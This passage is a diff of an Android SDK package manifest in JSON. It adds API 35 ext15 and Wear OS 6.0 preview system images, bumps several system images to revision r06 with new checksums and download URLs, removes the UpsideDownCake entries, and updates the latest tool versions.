+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "5e359834781e52fefcccd922a15f04bef5bade76",
+              "size": 1742908646,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis/x86_64-35-ext15_r01.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "30",
+                "micro:2": "2",
+                "minor:1": "8"
+              }
+            }
+          },
+          "displayName": "Google APIs Intel x86_64 Atom System Image",
+          "last-available-day": 20237,
+          "license": "android-sdk-license",
+          "name": "system-image-35x-google_apis-x86_64",
+          "path": "system-images/android-35-ext15/google_apis/x86_64",
+          "revision": "35x-google_apis-x86_64",
+          "revision-details": {
+            "major:0": "1"
+          },
+          "type-details": {
+            "abi:5": "x86_64",
+            "api-level:0": "35x",
+            "base-extension:2": "false",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:1": "15",
+            "tag:3": {
+              "display:1": "Google APIs",
+              "id:0": "google_apis"
+            },
+            "vendor:4": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        }
+      },
       "google_apis_playstore": {
         "arm64-v8a": {
           "archives": [
@@ -12780,10 +12880,10 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-35x-google_apis_playstore-arm64-v8a",
-          "path": "system-images/android-35-ext14/google_apis_playstore/arm64-v8a",
+          "path": "system-images/android-35-ext15/google_apis_playstore/arm64-v8a",
           "revision": "35x-google_apis_playstore-arm64-v8a",
           "revision-details": {
             "major:0": "1"
@@ -12795,7 +12895,7 @@
             "element-attributes": {
               "xsi:type": "ns12:sysImgDetailsType"
             },
-            "extension-level:1": "14",
+            "extension-level:1": "15",
             "tag:3": {
               "display:1": "Google Play",
               "id:0": "google_apis_playstore"
@@ -12829,10 +12929,10 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-35x-google_apis_playstore-x86_64",
-          "path": "system-images/android-35-ext14/google_apis_playstore/x86_64",
+          "path": "system-images/android-35-ext15/google_apis_playstore/x86_64",
           "revision": "35x-google_apis_playstore-x86_64",
           "revision-details": {
             "major:0": "1"
@@ -12844,7 +12944,7 @@
             "element-attributes": {
               "xsi:type": "ns12:sysImgDetailsType"
             },
-            "extension-level:1": "14",
+            "extension-level:1": "15",
             "tag:3": {
               "display:1": "Google Play",
               "id:0": "google_apis_playstore"
@@ -12858,15 +12958,83 @@
       }
     },
     "36": {
+      "android-wear": {
+        "arm64-v8a": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "53f3fa2adea692b7eabf698d59fdc34d36ff08e4",
+              "size": 1139080003,
+              "url": "https://dl.google.com/android/repository/sys-img/android-wear/arm64-v8a-36_signed_r01.zip"
+            }
+          ],
+          "displayName": "Wear OS 6.0 - Preview ARM 64 v8a System Image (signed)",
+          "last-available-day": 20237,
+          "license": "android-sdk-license",
+          "name": "system-image-36-android-wear-arm64-v8a",
+          "path": "system-images/signed/android-36/android-wear/arm64-v8a",
+          "revision": "36-android-wear-arm64-v8a",
+          "revision-details": {
+            "major:0": "1"
+          },
+          "type-details": {
+            "abi:4": "arm64-v8a",
+            "api-level:0": "36",
+            "base-extension:2": "true",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:1": "17",
+            "tag:3": {
+              "display:1": "Wear OS 6.0 - Preview",
+              "id:0": "android-wear"
+            }
+          }
+        },
+        "x86_64": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "7ae6c4e1c614a649f75ccb653769ccd8cdb30e4a",
+              "size": 1116094453,
+              "url": "https://dl.google.com/android/repository/sys-img/android-wear/x86_64-36_signed_r01.zip"
+            }
+          ],
+          "displayName": "Wear OS 6.0 - Preview Intel x86_64 Atom System Image (signed)",
+          "last-available-day": 20237,
+          "license": "android-sdk-license",
+          "name": "system-image-36-android-wear-x86_64",
+          "path": "system-images/signed/android-36/android-wear/x86_64",
+          "revision": "36-android-wear-x86_64",
+          "revision-details": {
+            "major:0": "1"
+          },
+          "type-details": {
+            "abi:4": "x86_64",
+            "api-level:0": "36",
+            "base-extension:2": "true",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:1": "17",
+            "tag:3": {
+              "display:1": "Wear OS 6.0 - Preview",
+              "id:0": "android-wear"
+            }
+          }
+        }
+      },
       "google_apis": {
         "arm64-v8a": {
           "archives": [
             {
               "arch": "all",
               "os": "all",
-              "sha1": "82c8c75e78c73e80a663472f278e61ae3219ff7e",
-              "size": 1814357571,
-              "url": "https://dl.google.com/android/repository/sys-img/google_apis/arm64-v8a-36_r05.zip"
+              "sha1": "d4e36a020d33b1411e14ca1d4dd74d3b908e538f",
+              "size": 1852726191,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis/arm64-v8a-36_r06.zip"
             }
           ],
           "dependencies": {
@@ -12882,13 +13050,13 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-36-google_apis-arm64-v8a",
           "path": "system-images/android-36/google_apis/arm64-v8a",
           "revision": "36-google_apis-arm64-v8a",
           "revision-details": {
-            "major:0": "5"
+            "major:0": "6"
           },
           "type-details": {
             "abi:5": "arm64-v8a",
@@ -12913,9 +13081,9 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "069c5654cb549e7ff7c817e7023d0c680a623f8c",
-              "size": 1706610245,
-              "url": "https://dl.google.com/android/repository/sys-img/google_apis/x86_64-36_r05.zip"
+              "sha1": "a9b0b4a0488e0c6c380f5485507950f011388511",
+              "size": 1875550742,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis/x86_64-36_r06.zip"
             }
           ],
           "dependencies": {
@@ -12931,13 +13099,13 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-36-google_apis-x86_64",
           "path": "system-images/android-36/google_apis/x86_64",
           "revision": "36-google_apis-x86_64",
           "revision-details": {
-            "major:0": "5"
+            "major:0": "6"
           },
           "type-details": {
             "abi:5": "x86_64",
@@ -12964,9 +13132,9 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "1605ca6608e2e83f250c4375e15489ade9169c52",
-              "size": 1835226829,
-              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/arm64-v8a-36_r05.zip"
+              "sha1": "b4de516b43b508947d04484732351d9a36fee33f",
+              "size": 1874450592,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/arm64-v8a-36_r06.zip"
             }
           ],
           "dependencies": {
@@ -12982,13 +13150,13 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-36-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-36/google_apis_playstore/arm64-v8a",
           "revision": "36-google_apis_playstore-arm64-v8a",
           "revision-details": {
-            "major:0": "5"
+            "major:0": "6"
           },
           "type-details": {
             "abi:5": "arm64-v8a",
@@ -13013,9 +13181,9 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "b24c50ec8e211cc116f448b67f49ed482c55bd55",
-              "size": 1741001393,
-              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/x86_64-36_r05.zip"
+              "sha1": "398e02989fb3c274dd2d99541cf71255de538651",
+              "size": 1912630049,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/x86_64-36_r06.zip"
             }
           ],
           "dependencies": {
@@ -13031,13 +13199,13 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-36-google_apis_playstore-x86_64",
           "path": "system-images/android-36/google_apis_playstore/x86_64",
           "revision": "36-google_apis_playstore-x86_64",
           "revision-details": {
-            "major:0": "5"
+            "major:0": "6"
           },
           "type-details": {
             "abi:5": "x86_64",
@@ -13064,9 +13232,9 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "da544188ab47a89f4b3cf6614523cf3cb3440129",
-              "size": 1887754420,
-              "url": "https://dl.google.com/android/repository/sys-img/page_size_16kb/arm64-v8a-playstore-ps16k-36_r05.zip"
+              "sha1": "2edacb5f0d7cd63e838b9e313a2b0cd002f29381",
+              "size": 1928649616,
+              "url": "https://dl.google.com/android/repository/sys-img/page_size_16kb/arm64-v8a-playstore-ps16k-36_r06.zip"
             }
           ],
           "dependencies": {
@@ -13082,13 +13250,13 @@
             }
           },
           "displayName": "Pre-Release 16 KB Page Size Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-36-page_size_16kb-arm64-v8a",
           "path": "system-images/android-36/google_apis_playstore_ps16k/arm64-v8a",
           "revision": "36-page_size_16kb-arm64-v8a",
           "revision-details": {
-            "major:0": "5"
+            "major:0": "6"
           },
           "type-details": {
             "abi:6": "arm64-v8a",
@@ -13117,9 +13285,9 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "d1f4ccf971300511e5f8d606c6d5fabf97647b36",
-              "size": 1738939657,
-              "url": "https://dl.google.com/android/repository/sys-img/page_size_16kb/x86_64-playstore-ps16k-36_r05.zip"
+              "sha1": "8ab4c932fce799060be81978ebfe00055303ebee",
+              "size": 1912261645,
+              "url": "https://dl.google.com/android/repository/sys-img/page_size_16kb/x86_64-playstore-ps16k-36_r06.zip"
             }
           ],
           "dependencies": {
@@ -13134,14 +13302,14 @@
               }
             }
           },
-          "displayName": "Pre-Release 16 KB Page Size Google Play ARM Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "displayName": "Pre-Release 16 KB Page Size Google Play Intel x86_64 Atom System Image",
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-36-page_size_16kb-x86_64",
           "path": "system-images/android-36/google_apis_playstore_ps16k/x86_64",
           "revision": "36-page_size_16kb-x86_64",
           "revision-details": {
-            "major:0": "5"
+            "major:0": "6"
           },
           "type-details": {
             "abi:6": "x86_64",
@@ -13192,7 +13360,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-Baklava-google_apis-arm64-v8a",
           "path": "system-images/android-Baklava/google_apis/arm64-v8a",
@@ -13242,7 +13410,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-Baklava-google_apis-x86_64",
           "path": "system-images/android-Baklava/google_apis/x86_64",
@@ -13294,7 +13462,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-Baklava-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-Baklava/google_apis_playstore/arm64-v8a",
@@ -13344,7 +13512,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-Baklava-google_apis_playstore-x86_64",
           "path": "system-images/android-Baklava/google_apis_playstore/x86_64",
@@ -13396,7 +13564,7 @@
             }
           },
           "displayName": "Pre-Release 16 KB Page Size Google Play ARM 64 v8a System Image",
-          "last-available-day": 20174,
+          "last-available-day": 20237,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-Baklava-page_size_16kb-arm64-v8a",
           "path": "system-images/android-Baklava/google_apis_playstore_ps16k/arm64-v8a",
@@ -13449,8 +13617,8 @@
               }
             }
           },
-          "displayName": "Pre-Release 16 KB Page Size Google Play ARM Intel x86_64 Atom System Image",
-          "last-available-day": 20174,
+          "displayName": "Pre-Release 16 KB Page Size Google Play Intel x86_64 Atom System Image",
+          "last-available-day": 20237,
           "license": "android-sdk-license",
           "name": "system-image-Baklava-page_size_16kb-x86_64",
           "path": "system-images/android-Baklava/google_apis_playstore_ps16k/x86_64",
@@ -13705,222 +13873,8 @@
     },
     "UpsideDownCake": {
       "google_apis": {
-        "arm64-v8a": {
-          "archives": [
-            {
-              "os": "all",
-              "sha1": "2335c0cf2c76cb1883a6d6ee38e6fff99989596f",
-              "size": 1549237055,
-              "url": "https://dl.google.com/android/repository/sys-img/google_apis/arm64-v8a-UpsideDownCake_r04.zip"
-            }
-          ],
-          "dependencies": {
-            "dependency:0": {
-              "element-attributes": {
-                "path": "patcher;v4"
-              }
-            },
-            "dependency:1": {
-              "element-attributes": {
-                "path": "emulator"
-              },
-              "min-revision:0": {
-                "major:0": "32",
-                "micro:2": "8",
-                "minor:1": "1"
-              }
-            }
-          },
-          "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 19489,
-          "license": "android-sdk-arm-dbt-license",
-          "name": "system-image-UpsideDownCake-google_apis-arm64-v8a",
-          "path": "system-images/android-UpsideDownCake/google_apis/arm64-v8a",
-          "revision": "UpsideDownCake-google_apis-arm64-v8a",
-          "revision-details": {
-            "major:0": "4"
-          },
-          "type-details": {
-            "abi:4": "arm64-v8a",
-            "api-level:0": "33",
-            "codename:1": "UpsideDownCake",
-            "element-attributes": {
-              "xsi:type": "ns12:sysImgDetailsType"
-            },
-            "tag:2": {
-              "display:1": "Google APIs",
-              "id:0": "google_apis"
-            },
-            "vendor:3": {
-              "display:1": "Google Inc.",
-              "id:0": "google"
-            }
-          }
-        },
-        "x86_64": {
-          "archives": [
-            {
-              "os": "all",
-              "sha1": "15a514144f57865a84abbd6df8e6897c80bb8b88",
-              "size": 1491492723,
-              "url": "https://dl.google.com/android/repository/sys-img/google_apis/x86_64-UpsideDownCake_r04.zip"
-            }
-          ],
-          "dependencies": {
-            "dependency:0": {
-              "element-attributes": {
-                "path": "patcher;v4"
-              }
-            },
-            "dependency:1": {
-              "element-attributes": {
-                "path": "emulator"
-              },
-              "min-revision:0": {
-                "major:0": "32",
-                "micro:2": "8",
-                "minor:1": "1"
-              }
-            }
-          },
-          "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 19489,
-          "license": "android-sdk-preview-license",
-          "name": "system-image-UpsideDownCake-google_apis-x86_64",
-          "path": "system-images/android-UpsideDownCake/google_apis/x86_64",
-          "revision": "UpsideDownCake-google_apis-x86_64",
-          "revision-details": {
-            "major:0": "4"
-          },
-          "type-details": {
-            "abi:4": "x86_64",
-            "api-level:0": "33",
-            "codename:1": "UpsideDownCake",
-            "element-attributes": {
-              "xsi:type": "ns12:sysImgDetailsType"
-            },
-            "tag:2": {
-              "display:1": "Google APIs",
-              "id:0": "google_apis"
-            },
-            "vendor:3": {
-              "display:1": "Google Inc.",
-              "id:0": "google"
-            }
-          }
-        }
       },
       "google_apis_playstore": {
-        "arm64-v8a": {
-          "archives": [
-            {
-              "os": "macosx",
-              "sha1": "b9f7a7d25450e2385a8334af688ab862fc723dba",
-              "size": 1513459071,
-              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/arm64-v8a-UpsideDownCake_r04-darwin.zip"
-            },
-            {
-              "os": "linux",
-              "sha1": "b9f7a7d25450e2385a8334af688ab862fc723dba",
-              "size": 1513459071,
-              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/arm64-v8a-UpsideDownCake_r04-linux.zip"
-            }
-          ],
-          "dependencies": {
-            "dependency:0": {
-              "element-attributes": {
-                "path": "patcher;v4"
-              }
-            },
-            "dependency:1": {
-              "element-attributes": {
-                "path": "emulator"
-              },
-              "min-revision:0": {
-                "major:0": "32",
-                "micro:2": "8",
-                "minor:1": "1"
-              }
-            }
-          },
-          "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 19489,
-          "license": "android-sdk-arm-dbt-license",
-          "name": "system-image-UpsideDownCake-google_apis_playstore-arm64-v8a",
-          "path": "system-images/android-UpsideDownCake/google_apis_playstore/arm64-v8a",
-          "revision": "UpsideDownCake-google_apis_playstore-arm64-v8a",
-          "revision-details": {
-            "major:0": "4"
-          },
-          "type-details": {
-            "abi:4": "arm64-v8a",
-            "api-level:0": "33",
-            "codename:1": "UpsideDownCake",
-            "element-attributes": {
-              "xsi:type": "ns12:sysImgDetailsType"
-            },
-            "tag:2": {
-              "display:1": "Google Play",
-              "id:0": "google_apis_playstore"
-            },
-            "vendor:3": {
-              "display:1": "Google Inc.",
-              "id:0": "google"
-            }
-          }
-        },
-        "x86_64": {
-          "archives": [
-            {
-              "os": "all",
-              "sha1": "4647cbb1877cca1394b1a4fff52c644e6220d07a",
-              "size": 1464098477,
-              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/x86_64-UpsideDownCake_r04.zip"
-            }
-          ],
-          "dependencies": {
-            "dependency:0": {
-              "element-attributes": {
-                "path": "patcher;v4"
-              }
-            },
-            "dependency:1": {
-              "element-attributes": {
-                "path": "emulator"
-              },
-              "min-revision:0": {
-                "major:0": "32",
-                "micro:2": "8",
-                "minor:1": "1"
-              }
-            }
-          },
-          "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 19489,
-          "license": "android-sdk-preview-license",
-          "name": "system-image-UpsideDownCake-google_apis_playstore-x86_64",
-          "path": "system-images/android-UpsideDownCake/google_apis_playstore/x86_64",
-          "revision": "UpsideDownCake-google_apis_playstore-x86_64",
-          "revision-details": {
-            "major:0": "4"
-          },
-          "type-details": {
-            "abi:4": "x86_64",
-            "api-level:0": "33",
-            "codename:1": "UpsideDownCake",
-            "element-attributes": {
-              "xsi:type": "ns12:sysImgDetailsType"
-            },
-            "tag:2": {
-              "display:1": "Google Play",
-              "id:0": "google_apis_playstore"
-            },
-            "vendor:3": {
-              "display:1": "Google Inc.",
-              "id:0": "google"
-            }
-          }
-        }
       }
     },
     "UpsideDownCakePrivacySandbox": {
@@ -14272,10 +14226,10 @@
   },
   "latest": {
     "build-tools": "36.0.0",
-    "cmake": "3.31.6",
+    "cmake": "4.0.2",
     "cmdline-tools": "19.0",
-    "emulator": "35.5.8",
-    "ndk": "28.0.13004108",
+    "emulator": "35.6.9",
+    "ndk": "28.1.13356709",
     "ndk-bundle": "22.1.7171670",
     "platform-tools": "35.0.2",
     "platforms": "36",
@@ -14346,7 +14300,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 17",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14395,7 +14349,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 18.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14444,7 +14398,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 18.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14493,7 +14447,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 18.1.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14542,7 +14496,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 19",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14591,7 +14545,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 19.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14640,7 +14594,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 19.0.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14689,7 +14643,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 19.0.3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14738,7 +14692,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 19.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/19.1.0",
@@ -14786,7 +14740,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 20",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/20.0.0",
@@ -14834,7 +14788,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14883,7 +14837,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14932,7 +14886,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21.0.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -14981,7 +14935,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -15030,7 +14984,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21.1.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -15079,7 +15033,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 21.1.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/21.1.2",
@@ -15127,7 +15081,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 22",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -15176,7 +15130,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 22.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/22.0.1",
@@ -15224,7 +15178,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 23",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -15273,7 +15227,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 23.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/23.0.1",
@@ -15321,7 +15275,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 23.0.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/23.0.2",
@@ -15369,7 +15323,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 23.0.3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/23.0.3",
@@ -15417,7 +15371,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 24",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/24.0.0",
@@ -15465,7 +15419,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 24.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/24.0.1",
@@ -15513,7 +15467,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 24.0.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/24.0.2",
@@ -15561,7 +15515,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 24.0.3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/24.0.3",
@@ -15609,7 +15563,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 25",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/25.0.0",
@@ -15657,7 +15611,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 25.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/25.0.1",
@@ -15705,7 +15659,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 25.0.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/25.0.2",
@@ -15753,7 +15707,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 25.0.3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/25.0.3",
@@ -15801,7 +15755,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 26",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/26.0.0",
@@ -15849,7 +15803,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 26.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/26.0.1",
@@ -15897,7 +15851,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 26.0.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/26.0.2",
@@ -15945,7 +15899,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 26.0.3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/26.0.3",
@@ -15993,7 +15947,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 27",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/27.0.0",
@@ -16041,7 +15995,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 27.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/27.0.1",
@@ -16089,7 +16043,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 27.0.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/27.0.2",
@@ -16137,7 +16091,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 27.0.3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/27.0.3",
@@ -16185,7 +16139,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/28.0.0",
@@ -16233,7 +16187,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28-rc1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -16283,7 +16237,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28-rc2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -16333,7 +16287,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28.0.1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/28.0.1",
@@ -16381,7 +16335,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28.0.2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/28.0.2",
@@ -16429,7 +16383,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 28.0.3",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/28.0.3",
@@ -16477,7 +16431,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-license",
         "name": "build-tools",
         "path": "build-tools/29.0.0",
@@ -16525,7 +16479,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29-rc1",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -16575,7 +16529,7 @@
           }
         },
         "displayName": "Android SDK Build-Tools 29-rc2",
-        "last-available-day": 20174,
+        "last-available-day": 20237,
         "license": "android-sdk-preview-license",
         "name": "build-tools",
         "obsolete": "true",
@@ -16625,7 +16579,7 @@
           }
         },
